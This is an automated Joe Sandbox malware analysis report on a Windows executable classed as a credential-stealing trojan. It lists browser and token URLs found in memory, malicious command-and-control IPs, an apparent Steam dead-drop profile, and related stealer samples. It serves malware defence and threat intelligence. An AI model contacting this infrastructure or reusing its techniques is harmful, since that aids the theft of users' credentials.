https://www.google.com/chrome/browser-tools/	chrome.exe, 00000010.00000002.1348122760.0000203C00A34000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000010.00000002.1348991157.0000203C00D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1351741434.0000203C014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348519314.0000203C00B90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://web.telegram.org/	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000010.00000002.1344111795.0000203C000F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1343493846.0000203C00004000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1347630075.0000203C00964000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1347809865.0000203C009B8000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000002.1404726022.000032580237C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdnjs.cloudflare.com/ajax/libs/mathjax/	offscreendocument_main.js.28.dr, service_worker_bin_prod.js.28.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.28.dr	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.28.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	sriwln.12.dr	false		high
http://www.autoitscript.com/autoit3/X	Wake.com, 0000000C.00000000.943415256.0000000000DD5000.00000002.00000001.01000000.00000008.sdmp, Convicted.8.dr, Wake.com.1.dr	false		high
https://ogads-pa.clients6.google.com	chrome.exe, 00000010.00000002.1350848860.0000203C0124C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.28.dr	false		high
https://excel.new?from=EdgeM365Shoreline	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.28.dr	false		high
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000010.00000002.1348991157.0000203C00D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1351741434.0000203C014C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348519314.0000203C00B90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000010.00000002.1349046088.0000203C00D4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348332900.0000203C00AB0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://plus.google.com	chromecache_456.18.dr	false		high
https://permanently-removed.invalid/chrome/blank.html	msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.29.dr	false		high
https://chrome.google.com/webstore?hl=enm/webstore?hl=en	chrome.exe, 00000010.00000002.1338289525.00000267190A7000.00000004.08000000.00040000.00000000.sdmp	false		high
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	false		high
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000010.00000002.1348991157.0000203C00D18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1350961542.0000203C012A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348519314.0000203C00B90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	chrome.exe, 00000010.00000002.1343493846.0000203C00004000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000002.1404726022.000032580237C000.00000004.00000800.00020000.00000000.sdmp, manifest.json.28.dr	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	Wake.com, 0000000C.00000002.2165101677.0000000001220000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2166362758.000000000378F000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.00000000012AA000.00000004.00000020.00020000.00000000.sdmp, jmyuai.12.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.28.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.28.dr	false		high
https://msn.comXIDv10	Cookies.29.dr	false		high
https://chrome.google.com/webstore/	manifest.json.28.dr	false		high
https://bard.google.com/	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.28.dr	false		high
https://clients4.google.com/chrome-sync	chrome.exe, 00000010.00000002.1344690210.0000203C00220000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gemini.google.com/app?q=	sriwln.12.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.28.dr	false		high
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 0000001A.00000003.1393580460.000032580246C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 0000001A.00000003.1393215004.0000325802464000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199839170361go77lhMozilla/5.0	Wake.com, 0000000C.00000003.1121593164.0000000003A15000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.office.com	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://outlook.live.com/mail/0/	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://docs.google.com/presentation/J	chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://49.13.158.58N	Wake.com, 0000000C.00000002.2165101677.00000000011C0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346373016.0000203C0071C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/edge/ntp	000003.log7.28.dr, 2cc80dabc69f58b6_1.28.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.28.dr	false		high
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000010.00000002.1344111795.0000203C000F0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://cert.ssl.com/SSL.com-timeStamping-I-RSA-R1.cer0Q	jPKFh06jHI.exe	false		high
https://tidal.com/	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://docs.google.com/presentation/:	chrome.exe, 00000010.00000002.1348276849.0000203C00A90000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com	000003.log1.28.dr, 2cc80dabc69f58b6_0.28.dr	false		high
https://lens.google.com/gen204	chrome.exe, 00000010.00000003.1299133666.0000203C00604000.00000004.00000800.00020000.00000000.sdmp	false		high
https://msn.com/	msedge.exe, 0000001A.00000002.1405136815.00003258024C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	Wake.com, 0000000C.00000002.2166362758.0000000003785000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346192972.0000203C006D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1347387744.0000203C008C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1346221527.0000203C006E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1344939441.0000203C003CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1349395091.0000203C00E44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1344309759.0000203C00164000.00000004.00000800.00020000.00000000.sdmp, sriwln.12.dr	false		high
https://gaana.com/	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000010.00000002.1345257733.0000203C00440000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299443705.0000203C01934000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000003.1299573499.0000203C01558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/compose?isExtension=true	c42630f2-a00c-46da-a4a5-6358f893018a.tmp.28.dr	false		high
https://49.13.158.58hello	Wake.com, 0000000C.00000002.2166362758.0000000003710000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121823251.0000000001256000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2168427542.0000000003A11000.00000040.00001000.00020000.00000000.sdmp, Wake.com, 0000000C.00000002.2165101677.0000000001177000.00000004.00000020.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121478187.0000000003733000.00000004.00000800.00020000.00000000.sdmp, Wake.com, 0000000C.00000003.1121593164.0000000003A15000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW	chrome.exe, 00000010.00000002.1349046088.0000203C00D4C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348332900.0000203C00AB0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://policies.google.com/	chrome.exe, 00000010.00000003.1272548326.0000203C01260000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1348895256.0000203C00CCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000010.00000002.1349019724.0000203C00D34000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.204.152.207	a416.dscd.akamai.net	United States	20940	AKAMAI-ASN1EU	false
142.251.40.206	plus.l.google.com	United States	15169	GOOGLEUS	false
49.13.158.58	unknown	Germany	24940	HETZNER-ASDE	true
83.217.208.144	unknown	Russian Federation	31514	INF-NET-ASRU	true
20.189.173.17	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.219.161.138	a233.dscd.akamai.net	United States	20940	AKAMAI-ASN1EU	false
108.139.47.92	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
23.204.152.202	unknown	United States	20940	AKAMAI-ASN1EU	false
142.251.40.193	unknown	United States	15169	GOOGLEUS	false
150.171.28.10	ax-0001.ax-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.201.22	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	c-msn-pme.trafficmanager.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.251.35.170	ogads-pa.clients6.google.com	United States	15169	GOOGLEUS	false
142.251.40.164	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
18.164.96.83	unknown	United States	3	MIT-GATEWAYSUS	false
23.44.201.7	unknown	United States	20940	AKAMAI-ASN1EU	false
150.171.27.12	ax-0003.ax-msedge.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.44.201.4	unknown	United States	20940	AKAMAI-ASN1EU	false
204.79.197.203	a-0003.a-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1658540
Start date and time:	2025-04-07 18:08:13 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	jPKFh06jHI.exe renamed because original name is a hash value
Original Sample Name:	9baf61196c985b17067f787d6373f142.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@89/302@30/25
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 92% Number of executed functions: 67 Number of non-executed functions: 301
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, RuntimeBroker.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.54.127.164, 142.250.65.163, 142.250.81.238, 142.250.72.110, 172.253.115.84, 142.250.80.78, 142.250.176.195, 142.251.32.110, 142.251.35.174, 13.107.42.16, 142.250.65.206, 13.107.6.158, 40.74.81.198, 104.77.150.50, 104.77.150.57, 104.77.150.42, 104.77.150.15, 104.77.150.54, 104.77.150.18, 104.77.150.47, 104.77.150.6, 104.77.150.14, 23.204.152.201, 23.204.152.217, 23.219.36.110, 23.219.36.106, 104.70.121.192, 104.70.121.138, 104.70.121.217, 104.70.121.179, 104.70.121.160, 104.70.121.194, 104.70.121.186, 104.70.121.184, 104.70.121.177, 23.219.82.88, 23.219.82.99, 23.219.82.83, 23.219.82.98, 23.219.82.82, 23.219.82.89, 23.219.82.8, 23.219.82.91, 23.219.82.90, 23.204.152.204, 142.251.40.227, 142.250.80.3, 142.250.64.99, 4.175.87.197, 184.31.69.3, 150.171.27.11, 13.107.246.40, 40.126.24.146, 150.171.28.11, 4.152.133.8, 23.219.161.135, 150.171.27.10
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, redirector.gvt1.com, prod-agic-jw-1.japanwest.cloudapp.azure.com, www.bing.com.edgekey.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.microsoft.com, www.gstatic.com, l-0007.l-msedge.net, c.pki.goog, config.edge.skype.com, www.bing.com, fs.microsoft.com, accounts.google.com, th.bing.com.edgekey.net, api.edgeoffer.microsoft.com, star.sb.tlu.dl.delivery.mp.microsoft.com.edgesuite.net, ctldl.windowsupdate.com, p-th.bing.com.trafficmanager.net, b-0005.b-msedge.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, edge.microsoft.com, business-
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
12:09:16	API Interceptor	90x Sleep call for process: Wake.com modified
12:09:50	API Interceptor	3127x Sleep call for process: jPKFh06jHI.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
20.189.173.17	https://click.mailchimp.com/track/click/30010842/www.canva.com?p=eyJzIjoiU0pmejVsM21QLVNpRWZtZjVrNFp5WUdNRkdzIiwidiI6MiwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoyLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy5jYW52YS5jb21cXFwvZGVzaWduXFxcL0RBR2psUzlISVk4XFxcL0lta2tMbzducnpJVW5UUXZKTVl5TndcXFwvZWRpdD91dG1fY29udGVudD1EQUdqbFM5SElZOCZ1dG1fY2FtcGFpZ249ZGVzaWduc2hhcmUmdXRtX21lZGl1bT1saW5rMiZ1dG1fc291cmNlPXNoYXJlYnV0dG9uXCIsXCJpZFwiOlwiZGUwMDY4NTU5ZDQ5NGFiZDhlYjczNjU1MGIwNDM4NTdcIixcInVybF9pZHNcIjpbXCI5NGQ5NGFkMTNjZTA1YWY0MzA4YmVjMzkzNTQyMTBlNDY4NDEyNjhlXCJdLFwibXNnX3RzXCI6MTc0NDAwNDYyMn0ifQ	Get hash	malicious	HTMLPhisher	Browse
	7H9CCIVPzr.exe	Get hash	malicious	Unknown	Browse
	DanielEmployee-Handbook-84408.doc	Get hash	malicious	Gabagool	Browse
	Revised - Cwalker 2025 Handbook25807.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	b9bdbc2d.eml	Get hash	malicious	HTMLPhisher	Browse
	original (2).eml	Get hash	malicious	Unknown	Browse
	https://site-xtxg5.powerappsportals.com/	Get hash	malicious	HTMLPhisher	Browse
	Denise Salvano shared _Kerry Ingredients Flooring Standards_ with you.eml	Get hash	malicious	Unknown	Browse
	q3na5Mc.exe	Get hash	malicious	Vidar	Browse
	https://efax-38.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse
20.125.209.212	mumirolepawers.exe	Get hash	malicious	Vidar	Browse
	huilter.exe	Get hash	malicious	Vidar	Browse
	WQYHIICF.msi	Get hash	malicious	HTMLPhisher	Browse
	http://80.66.84.133/SIEKSQCT.msi	Get hash	malicious	Unknown	Browse
	trin.pdf.lnk	Get hash	malicious	Petite Virus	Browse
	comprom.pdf.lnk	Get hash	malicious	Petite Virus	Browse
	SecuriteInfo.com.Trojan.DownLoaderNET.1144.26432.6688.exe	Get hash	malicious	Unknown	Browse
	Case157450AB.lnk	Get hash	malicious	Unknown	Browse
	nqa3yj3p7N.exe	Get hash	malicious	Vidar	Browse
	cfr4.txt.ps1	Get hash	malicious	Unknown	Browse
162.159.61.3	#Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe	Get hash	malicious	Vidar	Browse
	installer (1).msi	Get hash	malicious	Unknown	Browse
	LgMVA0QNl7.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.CrypterX-gen.25870.24883.exe	Get hash	malicious	LummaC Stealer, Vidar	Browse
	NightGame Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse
	TbV75ZR.exe	Get hash	malicious	Vidar	Browse
	JGJRA8m29G.pdf	Get hash	malicious	Unknown	Browse
	installer_ver12.03.exe	Get hash	malicious	Remcos, Vidar	Browse
	mumirolepawers.exe	Get hash	malicious	Vidar	Browse
	Set-up.exe	Get hash	malicious	Vidar	Browse
23.219.161.138	trin.pdf.lnk	Get hash	malicious	Petite Virus	Browse
23.219.161.138	comprom.pdf.lnk	Get hash	malicious	Petite Virus	Browse
23.204.152.207	http://80.66.84.133/SIEKSQCT.msi	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	#Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	installer (1).msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	SecuriteInfo.com.Win64.CrypterX-gen.25870.24883.exe	Get hash	malicious	LummaC Stealer, Vidar	Browse	162.159.61.3
	NightGame Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	TbV75ZR.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	NightGame Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	installer_ver12.03.exe	Get hash	malicious	Remcos, Vidar	Browse	172.64.41.3
	mumirolepawers.exe	Get hash	malicious	Vidar	Browse	162.159.61.3
	huilter.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	bobobopepep.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
ax-0002.ax-msedge.net	#Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe	Get hash	malicious	Vidar	Browse	150.171.27.11
	msi (7).msi	Get hash	malicious	RedLine, SectopRAT	Browse	150.171.28.11
	msi (5).msi	Get hash	malicious	DBatLoader, RedLine, SectopRAT	Browse	150.171.27.11
	YTOEOXNI.msi	Get hash	malicious	RedLine, SectopRAT	Browse	150.171.27.11
	ZWXYSMLY.msi	Get hash	malicious	RedLine, SectopRAT	Browse	150.171.27.11
	msi (8).msi	Get hash	malicious	RedLine	Browse	150.171.28.11
	installer (1).msi	Get hash	malicious	Unknown	Browse	150.171.28.11
	SecuriteInfo.com.Win64.CrypterX-gen.25870.24883.exe	Get hash	malicious	LummaC Stealer, Vidar	Browse	150.171.27.11
	TbV75ZR.exe	Get hash	malicious	Vidar	Browse	150.171.28.11
	installer_ver12.03.exe	Get hash	malicious	Remcos, Vidar	Browse	150.171.27.11
ax-0003.ax-msedge.net	#Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe	Get hash	malicious	Vidar	Browse	150.171.27.12
	wvVWfOjzqo.exe	Get hash	malicious	TrojanRansom	Browse	150.171.27.12
	SecuriteInfo.com.Win64.CrypterX-gen.25870.24883.exe	Get hash	malicious	LummaC Stealer, Vidar	Browse	150.171.27.12
	TbV75ZR.exe	Get hash	malicious	Vidar	Browse	150.171.28.12
	installer_ver12.03.exe	Get hash	malicious	Remcos, Vidar	Browse	150.171.27.12
	mumirolepawers.exe	Get hash	malicious	Vidar	Browse	150.171.28.12
	huilter.exe	Get hash	malicious	Vidar	Browse	150.171.27.12
	bobobopepep.exe	Get hash	malicious	Vidar	Browse	150.171.28.12
	Set-up.exe	Get hash	malicious	Vidar	Browse	150.171.27.12
	Set-up_patched.exe	Get hash	malicious	Vidar	Browse	150.171.28.12
s-part-0012.t-0009.t-msedge.net	https://nut.sh/ell/ed/322238/XZdE6P	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	http://my.altafiber.com	Get hash	malicious	Phisher	Browse	13.107.246.40
	#Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe	Get hash	malicious	Vidar	Browse	13.107.246.40
	https://click.mailchimp.com/track/click/30010842/www.canva.com?p=eyJzIjoiU0pmejVsM21QLVNpRWZtZjVrNFp5WUdNRkdzIiwidiI6MiwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoyLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy5jYW52YS5jb21cXFwvZGVzaWduXFxcL0RBR2psUzlISVk4XFxcL0lta2tMbzducnpJVW5UUXZKTVl5TndcXFwvZWRpdD91dG1fY29udGVudD1EQUdqbFM5SElZOCZ1dG1fY2FtcGFpZ249ZGVzaWduc2hhcmUmdXRtX21lZGl1bT1saW5rMiZ1dG1fc291cmNlPXNoYXJlYnV0dG9uXCIsXCJpZFwiOlwiZGUwMDY4NTU5ZDQ5NGFiZDhlYjczNjU1MGIwNDM4NTdcIixcInVybF9pZHNcIjpbXCI5NGQ5NGFkMTNjZTA1YWY0MzA4YmVjMzkzNTQyMTBlNDY4NDEyNjhlXCJdLFwibXNnX3RzXCI6MTc0NDAwNDYyMn0ifQ	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	Quote_NF#003.docx	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://kpch.spreco.com.ar/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	uOZ3Iu4I6x.exe	Get hash	malicious	MSIL Logger, MassLogger RAT, XRed	Browse	13.107.246.40
	https://click.mailchimp.com/track/click/30010842/www.canva.com?p=eyJzIjoiU0pmejVsM21QLVNpRWZtZjVrNFp5WUdNRkdzIiwidiI6MiwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoyLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy5jYW52YS5jb21cXFwvZGVzaWduXFxcL0RBR2psUzlISVk4XFxcL0lta2tMbzducnpJVW5UUXZKTVl5TndcXFwvZWRpdD91dG1fY29udGVudD1EQUdqbFM5SElZOCZ1dG1fY2FtcGFpZ249ZGVzaWduc2hhcmUmdXRtX21lZGl1bT1saW5rMiZ1dG1fc291cmNlPXNoYXJlYnV0dG9uXCIsXCJpZFwiOlwiZGUwMDY4NTU5ZDQ5NGFiZDhlYjczNjU1MGIwNDM4NTdcIixcInVybF9pZHNcIjpbXCI5NGQ5NGFkMTNjZTA1YWY0MzA4YmVjMzkzNTQyMTBlNDY4NDEyNjhlXCJdLFwibXNnX3RzXCI6MTc0NDAwNDYyMn0ifQ	Get hash	malicious	HTMLPhisher	Browse	13.107.246.40
	msi (7).msi	Get hash	malicious	RedLine, SectopRAT	Browse	13.107.246.40
	ZWXYSMLY.msi	Get hash	malicious	RedLine, SectopRAT	Browse	13.107.246.40

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://nut.sh/ell/ed/322238/XZdE6P	Get hash	malicious	HTMLPhisher	Browse	13.107.6.156
	http://my.altafiber.com	Get hash	malicious	Phisher	Browse	13.107.42.14
	sora.spc.elf	Get hash	malicious	Mirai	Browse	20.124.216.131
	#Ud835#Udde6#Ud835#Uddd8#Ud835#Udde7#Ud835#Udde8#Ud835#Udde3.exe	Get hash	malicious	Vidar	Browse	204.79.197.203
	https://click.mailchimp.com/track/click/30010842/www.canva.com?p=eyJzIjoiU0pmejVsM21QLVNpRWZtZjVrNFp5WUdNRkdzIiwidiI6MiwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoyLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL3d3dy5jYW52YS5jb21cXFwvZGVzaWduXFxcL0RBR2psUzlISVk4XFxcL0lta2tMbzducnpJVW5UUXZKTVl5TndcXFwvZWRpdD91dG1fY29udGVudD1EQUdqbFM5SElZOCZ1dG1fY2FtcGFpZ249ZGVzaWduc2hhcmUmdXRtX21lZGl1bT1saW5rMiZ1dG1fc291cmNlPXNoYXJlYnV0dG9uXCIsXCJpZFwiOlwiZGUwMDY4NTU5ZDQ5NGFiZDhlYjczNjU1MGIwNDM4NTdcIixcInVybF9pZHNcIjpbXCI5NGQ5NGFkMTNjZTA1YWY0MzA4YmVjMzkzNTQyMTBlNDY4NDEyNjhlXCJdLFwibXNnX3RzXCI6MTc0NDAwNDYyMn0ifQ	Get hash	malicious	HTMLPhisher	Browse	20.42.73.31
	Quote_NF#003.docx	Get hash	malicious	Unknown	Browse	13.107.246.40
	https://kpch.spreco.com.ar/	Get hash	malicious	HTMLPhisher	Browse	13.107.6.156
	uOZ3Iu4I6x.exe	Get hash	malicious	MSIL Logger, MassLogger RAT, XRed	Browse	13.107.246.40
	http://nsubddse.proacteye.com/rd/4EaTnI6331JzCB727gwacifhvrr249LTLITTNGHRGELJP571410HIPC41923S12?NRpaAYQBQEaiWcfZy-iDxOnKpwTM-vPqDpt	Get hash	malicious	Unknown	Browse	20.157.93.108
